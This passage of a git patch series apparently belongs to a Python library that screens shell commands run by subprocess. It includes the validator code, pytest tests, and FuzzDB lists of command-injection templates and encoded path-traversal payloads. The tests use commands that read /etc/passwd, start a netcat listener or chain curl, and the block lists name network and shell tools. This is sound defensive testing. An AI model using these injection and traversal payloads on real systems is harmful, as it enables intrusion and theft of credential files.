"command", + [ + "cat /etc/passwd", + "cat /var/log/*", + "grep -r /var/log", + ["cat", "/etc/passwd"], + ["cat", "/var/log/*"], + ["grep", "-r", "/var/log"], + ] + ) + def test_check_file_owner(self, command, original_func, setup_teardown): exception = self.EXCEPTIONS["PREVENT_ADMIN_OWNED_FILES"] restrictions = {"PREVENT_ADMIN_OWNED_FILES"} + self._do_test_command(command, exception, restrictions, original_func) + + + @pytest.mark.parametrize( + "command, expected_result", + [ + # These commands should not be blocked and should return the expected result + ("echo HELLO", "HELLO"), + ("cat {test.txt}", "USERDATA1\nUSERDATA2\nUSERDATA3"), + ("/bin/cat {test2.txt}", "USERDATA4\nUSERDATA5\nUSERDATA6"), + # Globbing should not be blocked or affect the result + ("grep -e 'USERDATA[12]' {test.txt}", "USERDATA1\nUSERDATA2"), + # Find should not be blocked unless using -exec or trying to find sensitive files + ("find {rglob_testdir} -name '*.txt' -print -quit", "{rglob_testfile}"), + + (["echo", "HELLO"], "HELLO"), + (["cat", "{test.txt}"], "USERDATA1\nUSERDATA2\nUSERDATA3"), + (["/bin/cat", "{test2.txt}"], "USERDATA4\nUSERDATA5\nUSERDATA6"), + (["grep", "-e", "USERDATA[12]", "{test.txt}"], "USERDATA1\nUSERDATA2"), + (["find", "{rglob_testdir}", "-name", '*.txt', "-print", "-quit"], "{rglob_testfile}"), + ] + ) + def test_valid_commands_not_blocked(self, command, expected_result, original_func, setup_teardown): + if original_func.__name__ == "call": + # call doesn't have capture_output kwarg so can't compare result and easier to just return than refactor + return + + testpaths = setup_teardown + command = insert_testpaths(command, testpaths) + expected_result = insert_testpaths(expected_result, testpaths) + + # Use all restrictions to make sure none of them block the command + restrictions = [ + "PREVENT_COMMAND_CHAINING", + "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES", + "PREVENT_COMMON_EXPLOIT_EXECUTABLES", + "PREVENT_UNCOMMON_PATH_TYPES", + "PREVENT_ADMIN_OWNED_FILES" + ] + self._do_test_command(command, expected_result, restrictions, original_func) + + + # FUZZDB tests + @pytest.mark.parametrize( + "command", + [payload.replace('{cmd}', command) for command in [ + "cat /etc/passwd", + "curl https://example.com", + "sh -c 'curl https://example.com'", + "find . -name '*' -exec curl '{}' '+'", + "nc -l -p 1234", + ] for payload in FUZZDB_OS_COMMAND_INJECTION_PAYLOADS] + ) + def test_fuzzdb_injection_payloads(self, command, original_func): + restrictions = [ + "PREVENT_COMMAND_CHAINING", + "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES", + "PREVENT_COMMON_EXPLOIT_EXECUTABLES", + ] + self._do_test_command(command, self.EXCEPTIONS["ANY"], restrictions, original_func) + - test_commands = { - # (command, expected_result) - "echo HELLO": "HELLO", - ("echo", "HELLO"): "HELLO", - f"cat {self.userdata_dir}/testdata.txt": f"USERDATA1\nUSERDATA2\nUSERDATA3", - ("cat", f"{self.userdata_dir}/testdata.txt"): "USERDATA1\nUSERDATA2\nUSERDATA3", - f"cat /etc/passwd": exception, - ("cat", "/etc/passwd"): exception, - f"cat /var/log/*": exception, - ("cat", "/var/log/*"): exception, - } + @pytest.mark.parametrize( + "filepath", + [payload.replace('{FILE}', file) for file in [ + "/etc/passwd", + "/etc/passwd*", + "/etc/pass*d", + "*etc/pass*d", + "/et**/pa*sswd", + + "etc/passwd", + "etc/passwd*", + "etc/pass*d", + "*etc/pass*d", + "et**/pa*sswd", + ] for payload in FUZZDB_PATH_TRAVERSAL_PAYLOADS] + ) + def test_fuzzdb_traversal_payloads(self, filepath, original_func): + restrictions = [ + "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES", + ] - self._do_test_commands(test_commands, restrictions) + try: + if original_func.__name__ == "run": + popen_kwargs = {"capture_output": True, "text": True} + else: + popen_kwargs = {} -if __name__ == "__main__": - unittest.main() \ No newline at end of file + command = f"cat {filepath}" + result = safe_command.run( + original_func=original_func, + command=command, + restrictions=restrictions, + shell=True, + **popen_kwargs + ) + # Anything that is allowed to run is a junk path that does resolve to /etc/passwd + # and should thus not be blocked by PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES + if original_func.__name__ == "run": + assert "root:" not in result.stdout + else: + assert result != 0 + except (SecurityException, OSError) as e: + if isinstance(e, SecurityException): + assert e.args[0].startswith("Disallowed access to sensitive file") + elif isinstance(e, OSError): + assert e.strerror == "File name too long" + \ No newline at end of file From d447303c436cb80684223faf141c6b1199cd350e Mon Sep 17 00:00:00 2001 From: Lucas Faudman Date: Thu, 15 Feb 2024 13:38:18 -0800 Subject: [PATCH 05/19] Correctly handle all shell expansions. Correctly handled deeply nested shell syntax with recursive_shlex_split. Compatible with Python3.8 --- src/security/safe_command/api.py | 316 +++++++---- tests/fuzzdb/command-injection-template.txt | 45 ++ .../traversals-8-deep-exotic-encoding.txt | 530 ++++++++++++++++++ 3 files changed, 792 insertions(+), 99 deletions(-) create mode 100644 tests/fuzzdb/command-injection-template.txt create mode 100644 tests/fuzzdb/traversals-8-deep-exotic-encoding.txt diff --git a/src/security/safe_command/api.py b/src/security/safe_command/api.py index 87d63c0..530a3b7 100644 --- a/src/security/safe_command/api.py +++ b/src/security/safe_command/api.py @@ -1,24 +1,25 @@ -from pathlib import Path import shlex -from security.exceptions import SecurityException -from subprocess import CompletedProcess -from typing import Union, List, Tuple, TypeAlias -from glob import glob -from os import get_exec_path, getenv +from re import compile as re_compile +from pathlib import Path +from glob import iglob +from os import getenv, get_exec_path, access, X_OK +from os.path import expanduser, expandvars from shutil import which +from subprocess import CompletedProcess +from typing import Union, Optional, List, Tuple, Set, FrozenSet, Sequence, Callable, Iterator +from security.exceptions import SecurityException -ValidRestrictions: TypeAlias = Union[list[str], tuple[str], set[str], frozenset[str], None] -ValidCommand: TypeAlias = Union[str, list[str]] +ValidRestrictions = Optional[Union[FrozenSet[str], Sequence[str]]] +ValidCommand = Union[str, List[str]] DEFAULT_CHECKS = frozenset( - ("PREVENT_COMMAND_CHAINING", + ("PREVENT_COMMAND_CHAINING", "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES", - "PREVENT_COMMON_EXPLOIT_EXECUTABLES", - "PREVENT_UNCOMMON_PATH_TYPES", - "PREVENT_ADMIN_OWNED_FILES") + "PREVENT_COMMON_EXPLOIT_EXECUTABLES", + ) ) -SENSITIVE_FILE_NAMES = frozenset( +SENSITIVE_FILE_PATHS = frozenset( ( "/etc/passwd", "/etc/shadow", @@ -32,141 +33,258 @@ ) ) -BANNED_EXECUTABLES = frozenset(("nc", "netcat", "ncat", "curl", "wget", "dpkg", "rpm")) +BANNED_EXECUTABLES = frozenset( + ("nc", "netcat", "ncat", "curl", "wget", "dpkg", "rpm")) BANNED_PATHTYPES = frozenset( ("mount", "symlink", "block_device", "char_device", "fifo", "socket")) BANNED_OWNERS = frozenset(("root", "admin", "wheel", "sudo")) BANNED_GROUPS = frozenset(("root", "admin", "wheel", "sudo")) -BANNED_COMMAND_CHAINING_SEPARATORS = frozenset(("&", ";", "|", "\n")) +BANNED_COMMAND_CHAINING_SEPARATORS = frozenset(("&", ";", "|", "\n", "<>")) BANNED_PROCESS_SUBSTITUTION_OPERATORS = frozenset(("$(", "`", "<(", ">(")) BANNED_COMMAND_CHAINING_EXECUTABLES = frozenset(( - "eval", "exec", "-exec", "env", "source", "sudo", "su", "gosu", "sudoedit", + "eval", "exec", "-exec", "env", "source", "sudo", "su", "gosu", "sudoedit", "bash", "sh", "zsh", "csh", "rsh", "tcsh", "ksh", "dash", "fish", "powershell", "pwsh", "pwsh-preview", "pwsh-lts", "xargs", "awk", "perl", "python", "ruby", "php", "lua", "tclsh", "sqlplus", "expect", "screen", "tmux", "byobu", "byobu-ugraph", "script", "scriptreplay", "scriptlive", "nohup", "at", "batch", "anacron", "cron", "crontab", "systemctl", "service", "init", "telinit", "systemd", "systemd-run" - ) +)) -) -IFS = getenv("IFS", " \t\n") +SHELL_VARIABLE_REGEX = re_compile(r'(\$[a-zA-Z_][a-zA-Z0-9_]*)') +SHELL_EXPANSION_REGEX = re_compile(r'(([\$\S])*(\{[^{}]+?\})[^\s\$]*)') -def run(original_func, command, *args, restrictions=DEFAULT_CHECKS, **kwargs) -> Union[CompletedProcess, None]: +def run(original_func: Callable, command: ValidCommand, *args, restrictions: ValidRestrictions = DEFAULT_CHECKS, **kwargs) -> Union[CompletedProcess, None]: # If there is a command and it passes the checks pass it the original function call - if command: - check(command, restrictions) - return _call_original(original_func, command, *args, **kwargs) - - # If there is no command, return None - return None + check(command, restrictions) + return _call_original(original_func, command, *args, **kwargs) call = run -def _call_original(original_func, command, *args, **kwargs) -> Union[CompletedProcess, None]: +def _call_original(original_func: Callable, command: ValidCommand, *args, **kwargs) -> Union[CompletedProcess, None]: return original_func(command, *args, **kwargs) -def _replace_IFS(cmd_part: str) -> str: - return cmd_part.replace("$IFS", IFS[0]).replace("${IFS}", IFS[0]) +def _get_env_var_value(var: str) -> str: + if (expanded_var := expandvars(var)) != var: + return expanded_var + elif (expanded_var := getenv(var)): + return expanded_var + else: + return "" + + +def _shell_expand(command: str) -> str: + # Handles simple shell variable expansion like $HOME, $PWD, $IFS + for match in SHELL_VARIABLE_REGEX.finditer(command): + shell_var_str = match.group(0) + var = shell_var_str[1:] + value = _get_env_var_value(var) + + # Explicitly set IFS to space if it is empty since IFS is not always returned by expandvars or getenv on all systems + if var == "IFS" and not value: + value = " " + + command = command.replace(shell_var_str, value) + + # Handle Complex Parameter, Brace and Sequence shell expansions + for match in SHELL_EXPANSION_REGEX.finditer(command): + full_expansion, prefix, brackets = match.groups() + inside_brackets = brackets[1:-1] + + if prefix == "$": + # Handles Parameter expansion like ${var:-defaultval}, ${var:=defaultval}, ${var:+defaultval}, ${var:?defaultval} + var, *expansion_params = inside_brackets.split(":") + + value, operation, default = "", "", "" + start_slice, end_slice = None, None + if expansion_params: + expansion_param_1 = expansion_params.pop(0) + first_char = expansion_param_1[0] + if first_char.isdigit() or (first_char == "-" and expansion_param_1[1:].isdigit()): + start_slice = int(expansion_param_1) + if expansion_params: + expansion_param_2 = expansion_params[0] + end_slice = int(expansion_param_2) + else: + operation = first_char + default = expansion_param_1[1:] + + value = _get_env_var_value(var) + if start_slice is not None: + value = value[start_slice:end_slice] + elif not operation or operation == "?": + value = value + elif operation in "-=": + value = value or default + elif operation == "+": + value = default if value else "" + + # Explicitly set IFS to space but only after checking for a default value + if var == "IFS" and not value: + value = " " + + command = command.replace(f"${brackets}", value) + + else: + # Handles Brace and sequence expansion like {1..10..2}, {a,b,c}, {1..10}, {1..-1} + values = [] + if (',' not in inside_brackets + and len(inside_params := inside_brackets.split('..')) in (2,3) + and all(param.isdigit() or param.startswith("-") for param in inside_params) + ): + + # Sequence expansion + inside_params = list(map(int, inside_params)) + if len(inside_params) == 2: + inside_params.append(1) + start, end, step = inside_params + + sequence = None + if start <= end and step > 0: + sequence = range(start, end+1, step) + elif start <= end and step < 0: + sequence = range(end-1, start-1, step) + elif start > end and step > 0: + sequence = range(start, end-1, -step) + elif start > end and step < 0: + sequence = reversed(range(start, end-1, step)) + + if sequence: + for i in sequence: + values.append(full_expansion.replace(brackets, str(i))) + else: + values.append(full_expansion.replace(brackets, inside_brackets)) + + else: + # Brace expansion + for var in inside_brackets.split(','): + var = var.strip("\"'") + if var.startswith("$"): + var_value = _get_env_var_value(var) + else: + var_value = var + values.append(full_expansion.replace(brackets, var_value, 1)) + + value = ' '.join(values) + command = command.replace(full_expansion, value) + + return command -def _parse_command(command: Union[str, list]) -> Union[List[str], None]: +def _recursive_shlex_split(command_str: str) -> Iterator[str]: + for cmd_part in shlex.split(command_str, comments=True): + yield cmd_part + + if '"' in cmd_part or "'" in cmd_part or " " in cmd_part: + yield from _recursive_shlex_split(cmd_part.strip("\"\''")) + + +def _parse_command(command: Union[str, list]) -> Optional[Tuple[str, List[str]]]: if isinstance(command, str): if not command.strip(): # Empty commands are safe return None - parsed_command = shlex.split(_replace_IFS(command), comments=True) + + expanded_command = _shell_expand(command) elif isinstance(command, list): if not command or command == [""]: # Empty commands are safe return None - - # Join then split with shlex to process shell-like syntax correctly. - parsed_command = shlex.split(_replace_IFS(shlex.join(command)), comments=True) + + expanded_command = _shell_expand(" ".join(command)) else: raise TypeError("Command must be a str or a list") - return parsed_command + + parsed_command = list(_recursive_shlex_split(expanded_command)) + return expanded_command, parsed_command + + +def _path_is_executable(path: Path) -> bool: + return access(path, X_OK) def _resolve_executable_path(executable: str) -> Union[Path, None]: - if path := which(executable): - return Path(path).resolve() + if executable_path := which(executable): + return Path(executable_path).resolve() - # Check if the executable is in the system PATH + # Explicitly check if the executable is in the system PATH when which fails for path in get_exec_path(): - if (executable_path := Path(path) / executable).exists(): + if (executable_path := Path(path) / executable).exists() and _path_is_executable(executable_path): return executable_path.resolve() - + return None -def _resolve_paths_in_parsed_command(parsed_command: list) -> Tuple[set[Path], set[str]]: +def _resolve_paths_in_parsed_command(parsed_command: List[str]) -> Tuple[Set[Path], Set[str]]: # Create Path objects and resolve symlinks then add to sets of Path and absolute path strings from the parsed commands # for comparison with the sensitive files common exploit executables and group/owner checks. abs_paths, abs_path_strings = set(), set() - # A second shlex split is done to handle shell-like syntax correctly when wrapped in quotes before globbing - cmd_parts = [cmd_part for cmd_arg in parsed_command for cmd_part in shlex.split(cmd_arg.strip("'\""))] - for cmd_part in cmd_parts: + + for cmd_part in parsed_command: # check if the cmd_part is an executable and resolve the path if executable_path := _resolve_executable_path(cmd_part): abs_paths.add(executable_path) abs_path_strings.add(str(executable_path)) # Handle any globbing characters and repeating slashes from the command and resolve symlinks to get absolute path - for path in glob(cmd_part, include_hidden=True, recursive=True): + for path in iglob(cmd_part, recursive=True): path = Path(path) - # When its a symlink both the absolute path of the symlink + # When its a symlink both the absolute path of the symlink # and the resolved path of its target are added to the sets - if path.is_symlink(): + if path.is_symlink(): path = path.absolute() abs_paths.add(path) abs_path_strings.add(str(path)) - + abs_path = Path(path).resolve() abs_paths.add(abs_path) abs_path_strings.add(str(abs_path)) - # Check if globbing returned an executable and add to the sets + # Check if globbing and/or resolving symlinks returned an executable and add to the sets if executable_path := _resolve_executable_path(str(path)): abs_paths.add(executable_path) abs_path_strings.add(str(executable_path)) - # Check if globbing returned a directory and add all files in the directory to the sets + # Check if globbing and/or resolving symlinks returned a directory and add all files in the directory to the sets if abs_path.is_dir(): for file in abs_path.rglob("*"): file = file.resolve() abs_paths.add(file) abs_path_strings.add(str(file)) - return abs_paths, abs_path_strings def check(command: ValidCommand, restrictions: ValidRestrictions) -> None: - if not restrictions or (parsed_command := _parse_command(command)) is None: - # No restrictions or commands, no checks + if not restrictions: + # No restrictions no checks return None + expanded_command, parsed_command = _parse_command(command) or ("", []) + if not parsed_command: + # Empty commands are safe + return None + executable = parsed_command[0] executable_path = _resolve_executable_path(executable) abs_paths, abs_path_strings = _resolve_paths_in_parsed_command(parsed_command) - + if "PREVENT_COMMAND_CHAINING" in restrictions: - check_multiple_commands(command, parsed_command) + check_multiple_commands(expanded_command, parsed_command) if "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES" in restrictions: - check_sensitive_files(command, abs_path_strings) + check_sensitive_files(expanded_command, abs_path_strings) if "PREVENT_COMMON_EXPLOIT_EXECUTABLES" in restrictions: - check_banned_executable(command, abs_path_strings) + check_banned_executable(expanded_command, abs_path_strings) for path in abs_paths: if "PREVENT_UNCOMMON_PATH_TYPES" in restrictions: @@ -181,62 +299,60 @@ def check(command: ValidCommand, restrictions: ValidRestrictions) -> None: check_file_group(path) -def _do_check_multiple_commands(part: str) -> None: - if any(sep in part for sep in BANNED_COMMAND_CHAINING_SEPARATORS): - raise SecurityException(f"Multiple commands not allowed. Separators found.") - - if any(sep in part for sep in BANNED_PROCESS_SUBSTITUTION_OPERATORS): - raise SecurityException(f"Multiple commands not allowed. Process substitution operators found.") - - if part.strip() in BANNED_COMMAND_CHAINING_EXECUTABLES: - raise SecurityException(f"Multiple commands not allowed. Executable {part} allows command chaining.") - - -def check_multiple_commands(command: ValidCommand, parsed_command: list) -> None: - if isinstance(command, str): - _do_check_multiple_commands(command.strip()) - - if isinstance(command, list): - for cmd_arg in command: - _do_check_multiple_commands(cmd_arg) +def check_multiple_commands(expanded_command: str, parsed_command: List[str]) -> None: + # Since shlex.split removes newlines from the command, it would not be present in the parsed_command and + # must be checked for in the expanded command string + if '\n' in expanded_command: + raise SecurityException( + "Multiple commands not allowed. Newline found.") - for cmd_arg in parsed_command: - _do_check_multiple_commands(cmd_arg) + for cmd_part in parsed_command: + if any(seperator in cmd_part for seperator in BANNED_COMMAND_CHAINING_SEPARATORS): + raise SecurityException( + f"Multiple commands not allowed. Separators found.") + if any(substitution_op in cmd_part for substitution_op in BANNED_PROCESS_SUBSTITUTION_OPERATORS): + raise SecurityException( + f"Multiple commands not allowed. Process substitution operators found.") -def check_sensitive_files(command: ValidCommand, abs_path_strings: set[str]) -> None: - for sensitive_path in SENSITIVE_FILE_NAMES: - if (sensitive_path in command - or any(abs_path_string.endswith(sensitive_path) for abs_path_string in abs_path_strings)): + if cmd_part.strip() in BANNED_COMMAND_CHAINING_EXECUTABLES: raise SecurityException( - "Disallowed access to sensitive file: " + sensitive_path) + f"Multiple commands not allowed. Executable {cmd_part} allows command chaining.") + + +def check_sensitive_files(expanded_command: str, abs_path_strings: Set[str]) -> None: + for sensitive_path in SENSITIVE_FILE_PATHS: + # First check the absolute path strings for the sensitive files + # Then handle edge cases when a sensitive file is part of a command but the path could not be resolved + if ( + any(abs_path_string.endswith(sensitive_path) + for abs_path_string in abs_path_strings) + or sensitive_path in expanded_command + ): + raise SecurityException( + f"Disallowed access to sensitive file: {sensitive_path}") -def check_banned_executable(command: ValidCommand, abs_path_strings: set[str]) -> None: +def check_banned_executable(expanded_command: str, abs_path_strings: Set[str]) -> None: for banned_executable in BANNED_EXECUTABLES: - if (any((abs_path_string.endswith(f"/{banned_executable}") for abs_path_string in abs_path_strings)) - or (isinstance(command, str) - and (command.startswith(f"{banned_executable} ") - or f"bin/{banned_executable}" in command - or f" {banned_executable} " in command ) - ) - or (isinstance(command, list) - and any( - (part.strip("'\"").startswith(f"{banned_executable} ") - or f"bin/{banned_executable}" in part - or f" {banned_executable} " in part - ) for part in command) - ) - ): + # First check the absolute path strings for the banned executables + # Then handle edge cases when a banned executable is part of a command but the path could not be resolved + if ( + any((abs_path_string.endswith( + f"/{banned_executable}") for abs_path_string in abs_path_strings)) + or expanded_command.startswith(f"{banned_executable} ") + or f"bin/{banned_executable}" in expanded_command + or f" {banned_executable} " in expanded_command + ): raise SecurityException( f"Disallowed command: {banned_executable}") - def check_path_type(path: Path) -> None: for pathtype in BANNED_PATHTYPES: if getattr(path, f"is_{pathtype}")(): - raise SecurityException(f"Disallowed access to path type {pathtype}: {path}") + raise SecurityException( + f"Disallowed access to path type {pathtype}: {path}") def check_file_owner(path: Path) -> None: @@ -251,3 +367,5 @@ def check_file_group(path: Path) -> None: if group in BANNED_GROUPS: raise SecurityException( f"Disallowed access to file owned by {group}: {path}") + + diff --git a/tests/fuzzdb/command-injection-template.txt b/tests/fuzzdb/command-injection-template.txt new file mode 100644 index 0000000..3c9cb95 --- /dev/null +++ b/tests/fuzzdb/command-injection-template.txt @@ -0,0 +1,45 @@ +{cmd} +;{cmd} +;{cmd}; +|{cmd} +<{cmd}; +<{cmd}\n +&{cmd} +&{cmd}& +&&{cmd} +&&{cmd}&& +\n{cmd} +\n{cmd}\n +'{cmd}' +`{cmd}` +;{cmd}| +;{cmd}/n +|{cmd}; +a);{cmd} +a;{cmd} +a);{cmd} +a;{cmd}; +a);{cmd}| +FAIL||{cmd} +CMD=$'{cmd}';$CMD +;CMD=$'{cmd}';$CMD +^CMD=$'{cmd}';$CMD +|CMD=$'{cmd}';$CMD +&CMD=$'{cmd}';$CMD +&&CMD=$'{cmd}';$CMD +FAIL||CMD=$'{cmd}';$CMD +CMD=$\'{cmd}\';$CMD +;CMD=$\'{cmd}\';$CMD +^CMD=$\'{cmd}\';$CMD +|CMD=$\'{cmd}\';$CMD +&CMD=$\'{cmd}\';$CMD +&&CMD=$\'{cmd}\';$CMD +FAIL||CMD=$\'{cmd}\';$CMD +CMD=$"{cmd}";$CMD +;CMD=$"{cmd}";$CMD +^CMD=$"{cmd}";$CMD +|CMD=$"{cmd}";$CMD +&CMD=$"{cmd}";$CMD +&&CMD=$"{cmd}";$CMD +FAIL||CMD=$"{cmd}";$CMD +;system('{cmd}') diff --git a/tests/fuzzdb/traversals-8-deep-exotic-encoding.txt b/tests/fuzzdb/traversals-8-deep-exotic-encoding.txt new file mode 100644 index 0000000..ffabf29 --- /dev/null +++ b/tests/fuzzdb/traversals-8-deep-exotic-encoding.txt @@ -0,0 +1,530 @@ +/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE} +/0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE} +/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE} +/0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE} +/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE} +/0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE} +/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE} +/0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE} +/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE} +/0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE} +/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE} +/0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE} +/0x2e0x2e/0x2e0x2e/{FILE} +/0x2e0x2e\0x2e0x2e\{FILE} +/0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE} +/0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE} +/0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE} +/0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE} +/0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE} +/0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE} +/0x2e0x2e0x2f0x2e0x2e0x2f{FILE} +/0x2e0x2e0x2f{FILE} +/0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE} +/0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE} +/0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE} +/0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE} +/0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE} +/0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE} +/0x2e0x2e0x5c0x2e0x2e0x5c{FILE} +/0x2e0x2e0x5c{FILE} +/0x2e0x2e/{FILE} +/0x2e0x2e\{FILE} +/..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE} +/..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE} +/..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE} +/..0x2f..0x2f..0x2f..0x2f..0x2f{FILE} +/..0x2f..0x2f..0x2f..0x2f{FILE} +/..0x2f..0x2f..0x2f{FILE} +/..0x2f..0x2f{FILE} +/..0x2f{FILE} +/..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE} +/..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE} +/..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE} +/..0x5c..0x5c..0x5c..0x5c..0x5c{FILE} +/..0x5c..0x5c..0x5c..0x5c{FILE} +/..0x5c..0x5c..0x5c{FILE} +/..0x5c..0x5c{FILE} +/..0x5c{FILE} +/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE} +/%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE} +/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE} +/%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE} +/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE} +/%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE} +/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE} +/%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE} +/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE} +/%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE} +/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE} +/%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE} +/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE} +/%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE} +/%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE} +/%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE} +/%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE} +/%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE} +/%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE} +/%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE} +/%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE} +/%25c0%25ae%25c0%25ae%25c0%25af{FILE} 